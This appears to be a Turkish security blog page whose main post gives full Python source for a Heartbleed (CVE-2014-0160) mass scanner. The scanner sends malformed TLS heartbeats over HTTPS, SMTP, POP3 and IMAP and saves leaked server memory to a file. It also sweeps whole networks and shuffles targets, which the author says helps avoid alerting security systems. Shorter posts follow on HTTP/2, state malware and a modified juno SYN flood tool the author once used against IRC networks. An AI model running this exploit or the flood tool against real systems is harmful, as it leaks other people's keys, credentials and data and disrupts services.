Heartbleed Scanner

Heartbleed olarak bilinen OpenSSL bellek sizintisi zafiyeti (CVE-2014-0160) icin basit test araclari disinda dogru duzgun bir scanner olmadigi icin yapip paylasayim dedim.

Jared Stafford tarafindan gelistirilen python koduna yaptigim eklentiler sunlar;

  • IMAP, SMTP, POP3 protokolu destegi
  • Network taramasi yapma destegi (CIDR notasyonunda girdi verilebiliyor)
  • Zafiyet buldugunda sizan bellegi bir dosyaya kaydetme destegi
  • Zaman asimi belirtme destegi (performans optimizasyonu icin)
  • Hedefleri bir listeden alma destegi (ozellikle elinizde nmap veya zmap ile taramalarinizdan zaten https/smtps/vb servisleri acik oldugunu bildiginiz hedefler varsa cok faydali, tarama suresini hizlandiriyor)
  • Hedef adres listesini karisik olarak tarama destegi (genis networkleri tararken duz siradan taramak guvenlik sistemlerini alarma gecirebilir, farkli segmentlerden taramalar da yapmasi ile bundan biraz kurtulabilirsiniz)

 

GitHub : https://github.com/hybridus/heartbleedscanner

 

#!/usr/bin/env python

# I've added some features to the original work of Jared Stafford.
#
# -t parameter to optimize the timeout in seconds.
# -f parameter to log the memleak of vulnerable systems.
# -n parameter to scan entire network.
# -i parameter to scan from a list file. Useful if you already have targets.
# -r parameter to randomize the IP addresses to avoid linear scanning.
# -s parameter to exploit services that requires plaintext command to start SSL/TLS (HTTPS/SMTP/POP3/IMAP)
#
# Added socket error handler which causes the original version to exit in cases.
#
# hybridus (hybridus@gmail.com)
# CVE-2014-0160

import sys
import struct
import socket
import time
import select
import re
import errno
import Queue
import threading
import pprint
from optparse import OptionParser
from netaddr import *
from socket import error as socket_error
from random import shuffle


options = OptionParser(usage='%prog ipaddress [options]', description='Network scanner for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-t', '--timeout',type='int', default=5, help='Socket timeout setting in seconds (default: 5)')
options.add_option('-f', '--file',type='string', default='', help='Write leaked memory to file (default: none)')
options.add_option('-n', '--network',type='string', default='', help='Network you want to scan in CDIR (192.168.1.0/24)')
options.add_option('-i', '--input', type='string', default='', help='Get the target IP addresses from a list file')
options.add_option('-r', '--random', action='store_true', dest='random', default='True', help='Randomize the IP addresses to scan (default: false)')
options.add_option('-s', '--service', type='string', default='HTTPS', help='For some services commands are required to start SSL/TLS session. (HTTPS/SMTP/POP/IMAP)')

def h2bin(x):
	return x.replace(' ', '').replace('\n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
	hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
	return hello

def create_hb(version):
	hb = h2bin('18 ' + version + ' 00 03 01 40 00')
	return hb

def hexdump(s,logfilename, target_ip):
	for b in xrange(0, len(s), 16):
		lin = [c for c in s[b : b + 16]]
		hxdat = ' '.join('%02X' % ord(c) for c in lin)
		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

		if logfilename != '':
			try :
				with open(logfilename,'a') as logfile:
					logfile.write(target_ip + '\t' + pdat + '\n')
			except IOError:
				print 'Error writing dumps from ' + target_ip + ' to file. Setting file option NULL and resuming scan.'		
		print '  %04x: %-48s %s' % (b, hxdat, pdat)
	print

def recvall(s, length, timeout=5):
	endtime = time.time() + timeout
	rdata = ''
	remain = length
	while remain > 0:
		rtime = endtime - time.time()
		if rtime < 0:
			return None
		r, w, e = select.select([s], [], [], 5)
		if s in r:
			data = s.recv(remain)
			# EOF?
			if not data:
				return None
			rdata += data
			remain -= len(data)
	return rdata


def recvmsg(s,target_ip):
	hdr = recvall(s, 5)
	if hdr is None:
		print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record header - Host closed connection'
		return None, None, None
	typ, ver, ln = struct.unpack('>BHH', hdr)
	pay = recvall(s, ln, 10)
	if pay is None:
		print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record payload - Host closed connection'
		return None, None, None
	print '[ ' + str(target_ip) + ' ] <3 Received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
	return typ, ver, pay

def hit_hb(s,hb,target_ip,logfilename):
	s.send(hb)
	while True:
		typ, ver, pay = recvmsg(s,target_ip)
		if typ is None:
			print '[ ' + str(target_ip) + ' ] No heartbeat response received, server likely not vulnerable'
			return False

		if typ == 24:
			print '[ ' + str(target_ip) + ' ] <3 Received heartbeat response:'
			hexdump(pay, logfilename, target_ip)

			if len(pay) > 3:
				beep()
				print '[ ' + str(target_ip) + ' ] WARNING: server returned more data than it should - server is vulnerable!'
			else:
				print '[ ' + str(target_ip) + ' ] Server processed malformed heartbeat, but did not return any extra data.'
			return True

		if typ == 21:
			print 'Received alert:'
			hexdump(pay, logfilename, target_ip)
			print '[ ' + str(target_ip) + ' ] Server returned error, likely not vulnerable'
			return False
def beep():
    print "\a"

def main():
	opts, args = options.parse_args()
	if (len(args) < 1) and (opts.input == '') and (opts.network == '') :
		options.print_help()
		return

	if (opts.input != ''):
		with open(opts.input,'r') as inputfile:
			targetlist=inputfile.read().splitlines()
		print "Starting to scan hosts from " + opts.input +  ", " + str(len(targetlist)) + " host(s) in total."
	elif (opts.network != ''):
		targetlist = IPNetwork(opts.network)
		print "Starting to scan network " + str(targetlist.network) + " netmask " + str(targetlist.netmask) + ", " + str(targetlist.size) + " host(s) in total."
		targetlist = list(targetlist)
	elif (args[0]):
		targetlist = []
		targetlist.append(args[0])

	if (opts.service == '' or opts.service == 'HTTPS'):
		command1 = ''
		command2 = ''
	elif (opts.service == 'SMTP'):
		command1 = 'EHLO domain.net\n'
		command2 = 'STARTTLS\n'
	elif (opts.service == 'POP3'):
		command1 = 'CAPA\n'
		command2 = 'STLS\n'
	elif (opts.service == 'IMAP'):
		command1 = 'a001 CAPB\n'
		command2 = 'a002 STARTTLS\n'
	else:
		print 'Unknown service definiton'
		return


	totalhosts = len(targetlist)
	logfilename = opts.file
	target_ip = ''
	ip_count = 0
	if (opts.random == True):
		shuffle(targetlist)

	for x in range(int(len(targetlist))):
		target_ip = targetlist[x]
		ip_count += 1
		for i in range(len(version)):
			try:
				print '[ Scanning '+str(ip_count)+'/'+str(totalhosts)+' ]'
				print '[ ' + str(target_ip) + ' ] Trying ' + version[i][0] + '...'
				s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				s.settimeout(float(opts.timeout))
	
				print '[ ' + str(target_ip) + ' ] Connecting...'
				sys.stdout.flush()
				s.connect((str(target_ip), opts.port))
				
				if (command1 != '' and command2 != ''):
					print '[ ' + str(target_ip) + ' ] Sending command to switch ' + opts.service + ' protocol over SSL/TLS and waiting for 1 second to be sure'
					s.send(command1)
					s.send(command2)
					time.sleep(1)

				print '[ ' + str(target_ip) + ' ] Sending Client Hello...'
				sys.stdout.flush()
				s.send(create_hello(version[i][1]))
				print '[ ' + str(target_ip) + ' ] Waiting for Server Hello...'
				sys.stdout.flush()
	
				while True:
					typ, ver, pay = recvmsg(s,target_ip)
					if typ == None:
						print '[ ' + str(target_ip) + ' ] Server closed connection without sending Server Hello.'
						break
					# Look for server hello done message.
					if typ == 22 and ord(pay[0]) == 0x0E:
						break
		
				print '[ ' + str(target_ip) + ' ] Sending heartbeat request...'
				sys.stdout.flush()
				s.send(create_hb(version[i][1]))
				if hit_hb(s,create_hb(version[i][1]),str(target_ip),logfilename):
					#Stop if vulnerable
					break
			except socket_error as serr:
				#e = sys.exc_info()[0]
				#print e
				if serr.errno == errno.ECONNREFUSED:
					print '[ ' + str(target_ip) + ' ] Refused connection.'
				if serr.errno == errno.EHOSTDOWN:
					print '[ ' + str(target_ip) + ' ] Host down.'
				if serr.errno == errno.ETIMEDOUT:
					print '[ ' + str(target_ip) + ' ] Connection timed out.'
				if serr.errno == errno.ECONNRESET:
					print '[ ' + str(target_ip) + ' ] Connection reset by peer.'
				if serr.errno == errno.EPIPE:
					print '[ ' + str(target_ip) + ' ] Pipe error.'

if __name__ == '__main__':
	main()

 

 

HTTP/2 Kısa Bakış

Hızlı gelişen internet ve iletişim teknolojileri, dünyada internet ile özdeşleşen ve en yaygın kullanılan protokol olan HTTP için de yenilenmeyi zorunlu hale getirdi. En son 17 yıl önce 1.1 sürümü duyurulan HTTP için 2.0 sürümü için protokol tanımları RFC 7540 ile tanımlanıyor.

En yaygın protokol olması sebebiyle saldırganlar tarafından en yaygın kullanılan atak yüzeylerinden birisi olan HTTP yeni sürümüyle gelen değişiklikler güvenlik çalışmalarında da bazı değişiklikler gerektirecek.

Öncelikle HTTP/2 ile birlikte gelen yeniliklere göz atalım.

  • En temel yeniliklerin başında işlem bütünleştirme (transaction multiplexing) geliyor. HTTP protokolünde TCP iletişimi başına bir HTTP isteği yapılabilmekteyken, HTTP/2 ile birlikte aynı TCP iletişimi üzerinden düzensiz olarak birden fazla istek gönderip cevap alabilir. Bu sayede her bir istek için ayrı bir TCP iletişimi kurma işlemi gerçekleştirilmesine gerek kalmaz ve performans kazancı sağlanır.
  • HTTP/1 ve HTTP/1.1’den farklı olarak itekler ve cevaplar metin tabanlı değil, binary tabanlı. Böylelikle metin içerisindeki özel karakterler, satır sonları, boş karakterler vb. gibi uygulamalara göre farklılık gösterebilen durumları standardize edebilecek.. Tabi bunun pratikte bir dezavantajı var, eskisi gibi sadece netcat veya telnet ile HTTP servisine bağlanıp HTTP oturumu açmak mümkün olmayacak.
  • Bir diğer özellik ise iletişimin artık sadece istemci tarafından sağlanmak zorunda olmaması. HTTP protokolünde bilindiği gibi istemci mutlaka bir istek yapmalı ve buna istinaden gelen cevabı işlemeliydi. HTTP/2 ile birlikte sunucu da kendisine bağlı olan istemciye veri PUSH edebilecek. Yani tarayıcı ilk GET isteğini yorumlayıp da içerisinde sayfayı görüntülemek için ihtiyacı olan diğer elementleri (resim, CSS dosyası gibi) anlayıp bunlar için ayrıca bir GET isteği daha yapmasına gerek kalmadan, sunucu istemciye ilk GET ile birlikte bu dosyaları da iletebilecek.
  • Bir diğer özellik de istek başlıklarındaki verilerin sıkıştırılması ve bu sayede çerez, oturum, tarayıcı kimliği gibi verilerin daha az yer tutarak iletilmesi.

Mozilla, Firefox tarayıcısınd HTTP/2’yi sadece TLS şifrelemesi üzerinden destekleyeceğini duyurdu, yüksek ihtimalle Chrome da benzer bir güvenlik zorunluluğu getirecektir. Kendi içerisinde bir şifreleme entegrasyonu olmasa da TLS’i zorunlu tuttuğu sürece HTTP/2 yaygınlaştıkça tüm web trafiği de TLS ile şifreleneceği anlamına geliyor elbette.

Protokollerden ziyade protokollerin implementasyonlarından (hem sunucu hem de istemci tarafında) güvenlik açıkları çıkması çok yaygın. Bunu özellikleve can alıcı şekilde SSL impelemtasyonu olan OpenSSL’de çıkan “Heartbleed” zafiyetinde yaşadık. Her yeni protokol değişikliği bu sebeple biraz ürkütücü geliyor.

 

 

Gerçek Tehdit Zararlı Yazılım

 

Son ayların sıcak gündemi, Snowden’ın açıkladığı belgelerde ifşa edilen operasyonlar. Denizaltı fiber kabloların dinlenmesi, çok zor ve yapılması da gizli tutulması da oldukça büyük operasyon. Bu operasyon, gözümüzden kaçmaması gereken diğer bilgileri gözümüzden kaçırmamalı. Hatları ve trafiği takip etme kullanılmaya devam edecek olsa da, özellikle dolaşıma açılmayan kritik verileri elde etmek veya seçilmiş/tanımlı bir hedefe bu yollarla ulaşmak mümkün değil. Snowden’in açıkladığı operasyonlardan birisi de, Belçika’nın en büyük telekom operatörü olan BELGACOM’a yönelik zararlı yazılım (malware) kullanarak gerçekleştirilen “Quantum Insert” operasyonu.

Stratejik ve operasyonel istihbarat için analiz edilmesi gereken ham verileri elde etmek için taktik operasyonlar ile sızma yerine şebekeler üzerinden sistemlere veya kişilere erişmek, operasyonların yeni kimliği haline geldi. Quantum Insert, Stuxnet ve Çin’de keşfedilen Unit-61398 öncesinde belki de zararlı yazılımlar kullanılarak sızma ve bilgi toplama operasyonlarına şüpheyle bakılıyor ve hayalci bulunuyordu. Fakat hem gerçekleştirilen somut saldırılar hem de ABD ve Çin devletlerinin üst düzey yöneticilerinin söylemleri neticesinde; bu operasyonların artık “güzel bir hayal” olmadığına geleneksel istihbarat şeflerini ikna etti. Hatta bu yöntemlere hâkim olmayan istihbarat birimlerinin diğer ülkelerin birimlerinden geri kaldığı da bir anda ortaya çıkmış oldu.

Zararlı yazılımlar, güvenlik zafiyetlerinin ofansif yaklaşımıyla gerçek bir amaç için silahlandırılmasıdır. 1995-2003 arasında bize büyük bir dünya gibi gelen güvenlik açıkları, her ne kadar tek başına hala birçok sisteme erişim kazanmamızı sağlasalar da, gün geçtikçe tek başına anlamsız hale gelmekteler. Nasıl ki artık bir zafiyetten ziyade zafiyeti başarılı ve hatasız kullanan suiistimal yazılımı daha kıymetliyse; aynı şekilde bir suiistimal kodundan ziyade bir amaç etrafında birleşmiş çeşitli suiistimal kodlarını kullanan zararlı yazılımlar daha kıymetlidir. Eğer suiistimal kodları, zafiyetlerin silahlandırılmış haliyse; zararlı yazılımlar da bu silahların güdümlü ve akıllı hale getirişmiş yeni sürümleridir.

Hedefli saldırılar için kullanılan gelişmiş zararlı yazılımlar, hem bilgi güvenliğinin hem de istihbarat çalışmalarının geleceği durumuna geldi.

Fiber dinleme operasyonlarının oluşturduğu risk yadsınamaz. Fakat beni bugünlerde asıl endişelendiren, şu anda ülkenin kritik kurumlarında, endüstriyel tesislerinde, askeri altyapılarında tam olarak hedefini bulmuş olan ve varlığından dahi haberdar olmadığımız zararlı yazılımlar. Kullandığımız donanımların da işletim sistemlerinin de bize özgü olmadığı her platform, fiziksel olarak izole olduğu ve internetle bağlantısı bulunmadığı söylense de, hedefe yönelik geliştirilmiş zararlı yazılım saldırıları için hedef durumunda.

Tabi bunun bir diğer ucu da bizim lehimize. Aynı sistemler başka ülkelerin de elinde olduğu için, bir yandan da fırsat. Benzer operasyonları kendimiz de gerçekleştirebilir. Sistemlerin her ne kadar kaynak kodlarına sahip olmasak da, geliştiricileri bize belirli arka kapılar açmasalar da; bugüne kadar kapalı sistemlerde bulunan açıklar zaten bu imkânlar ile keşfedilmedi. Tersine mühendislik ve zafiyet araştırmaları, bu sistemleri analiz edip açıklarını bulmak için var. Bu yeni nesil saldırıların mağdur tarafı olmaktansa bu zafiyetleri keşfederek aktif olarak bunlardan faydalanan taraf olmak gerekiyor.

 

 

 

Planlanan ve Gerceklesen

ac412d4c-46e0-11e3-a62b-22000a9aa503-large[1]Bilgi Guvenligi ile hic bir alakasi yok ama, bu resim bugun LinkedIN’de gordum ve uzerine aklimdan gecenleri paylasmak istedim.

Bu resim “ya, evet, boyle oluyor” diye dovunerek paylasmak pek anlam ifade etmiyor. Buradan dersler cikartmak lazim.

  • Hedef olarak koydugunuz noktaya zaten asla duz sekilde gidemeyeceginizi aklinizdan cikartmayin.
  • Istisare edin. Hedefinizin kesinlikle dogru olduguna inansaniz da, belki birisi size gidecek daha dogru (kolay degil, dogru) bir yol gosterebilir.
  • Planinizin tamamina degil, her adimina ayri ayri “tampon” bolgeler/sureler koyun.
  • Karsilasilabilecek risklerin sadece isinizle veya kendinizle degil, cevrenizdeki insanlarin ruh haliyle de ilgili olabilecegini degerlendirin. Zira, uzun yollar ana planda tek kisilik olsa da, alt basliklari muhakkak farkli degiskenlere/olaylara, bu olaylarin da sizin istediginiz surelerde tamamlanmasina baglidir.
  • Ozellike yazilim projeleri asla duz bir yol degildir. Ekibinizin yeni kutuphaneleri ogrenmesi(oyuna girmesi), birbirine uyum saglamasi (diger 11 oyuncuyu tanimasi), yazilimin vizyonunu ve konseptini kavramasi (hakemi ve sahanin zeminini ogrenmesi) zaman alir. Butun bunlar ilk seferde basariya da ulasmayabilir. Deneyip yanilarak elde edecekleri bu deneyimler, yolunuzu duz olmaktan cikartir. Duz yol beklentisi ile genis capli yazilim projelerine, ozellikle ar-ge projelerine girmeyin.
  • Mumkunse, o yoldan daha once gitmis birkac kisi ile surekli irtibatta olur.
  • Zemini ve gidilecek yolu cok cok cok ve biraz daha cok etud etmeden yola cikmayin. Her detayini tek tek sirasiyla dusunup, tek bir hamleyle kalkip yola cikin.
  • Ar-ge projelerinde bu oldukca zor, zira yeni bir konsept ortaya koyarken zaten neyi bilmediginizi ve ne ile karsilasabileceginizi ongoremediginiz icin bunun adi “arastirma ve gelistirme”. Ar-ge calismalarinda ilk resimi beklemek zaten dogru degil, aklinizda bulunsun.

 

Son olarak, bence bu fotografin fikri “hic bir sey gorundugu kadar kolay degildir” degil. Dogrusu  “Dogru bakip duzgun etud etmezsen tuttugun yoldan hayir gelmez” olmali 🙂

Microsoft ve Big Data

Microsoft’un bu alandaki calismasi nedir diye bakayim dedim. Hatta “kesin SQL Server Big Data Edition” diye bir sey cikartmislardir diye dalga geciyordum 🙂 Daha da umitsiz durumdalarmis. Buldugum bigdatasolutionsheet.pdf’deki girisi oldugu gibi aktariyorum

Microsoft on Big Data 1

 

 

 

 

 

 

 

*nocomment*

SYN Flood Testleri

Bu aralar DoS/DDoS saldirilari cok ayaga dustu malum, o sebeple bir cok yonetici kendi sistemlerinin bu tip saldirilara karsi ne kadar dayanikli oldugunu test etmek istiyor.

Layer7/uygulama katmaninda yapilan flood saldirilari spoofed ip’lerle yapilamayacagi icin genellikle botnet’lerle gerceklestirilse de, hala en yaygin saldirilarin basinda SYN Flood saldirilari var. Cunku ;

1. uygulamasi cok kolay

2. etkisi yuksek.

Yillardir tabi bunun icin syncookie enable, tcp timeout suresini dusurme gibi bir cok optimizasyon yolu mevcut lakin PPS yukseldikce bildiginiz gibi ag girisindeki sistemler hatta bazen(cogunlukla) uygun olmayan veya duzgun ayarlanmamis IPS  ve Firewall sistemleri servis veremez duruma geliyor, beraberinde de agin tamamini erisilmez kiliyor.

SYN Flood saldirilarinda juno araci cok yaygin sekilde kullanilir. Hatta ben kendimi bildim bileli, henuz 2000 olmamisken dahi iRC network’lerine saldirmak icin bol bol kullandigimiz bir aracti 🙂

Simdi bunu kullanip kendi sistemlerini test etmek isteyen sistem yoneticileri, normal sekilde juno’yu kurduklarinda olculebilir bir test yapamazlar zira siz durdurana kadar calismaya devam eder. Istediginiz sayida paket gonderilmesi icin ben de opsiyonel bir parametre ekledim, boylelikle legal kullanima ve sistemleri test etmeye daha yatkin hale geldi. Hazir el atmisken ciktilarinda da biraz makyaj yaptim.

Syntax: ./juno <target ip> <target port> [packet count (optional)]

 

packet count icin bir deger vermezseniz yine eski usul siz kesene kadar calisiyor.

juno-new

Continue reading

Milli Güvenlik Kurulu Bildirisinde Siber Tehditler

Sonunda “devletin” en üst makamlarının koordinasyonunun sağlandığı Milli Güvenlik Kurulu’nun gündemine “Siber Tehditler” de alındı ve artık resmi olarak tehdit algısı olarak kaydedildi.

Milli Güvenlik Kurulu’nun 19 Ekim tarihli bildirisindeki son madde şu şekilde:

“Toplantıda son olarak, küresel düzeyde ciddi boyutlara ulaşan siber tehdit ve bu tehdidin ülkemizin güvenliğine etkileri değerlendirilmiş, bu tür tehditlerin engellenmesi ve siber güvenliğimizin sağlanmasına yönelik ulusal düzeyde koordinasyon ve uluslararası düzeyde işbirliğinin gerekliliğine vurgu yapılmıştır.”

Duyduğuma göre UDH Bakanı Binali Bey de bu konuda bir sunum yapmak üzere MGK’ya davet edildi ve konuyla ilgili brifing verdi.

Güzel gelişme, sonraki adım artık “Ulusal Siber Koordinasyon Kurulu”‘nun resmi olarak faaliyete geçmesi.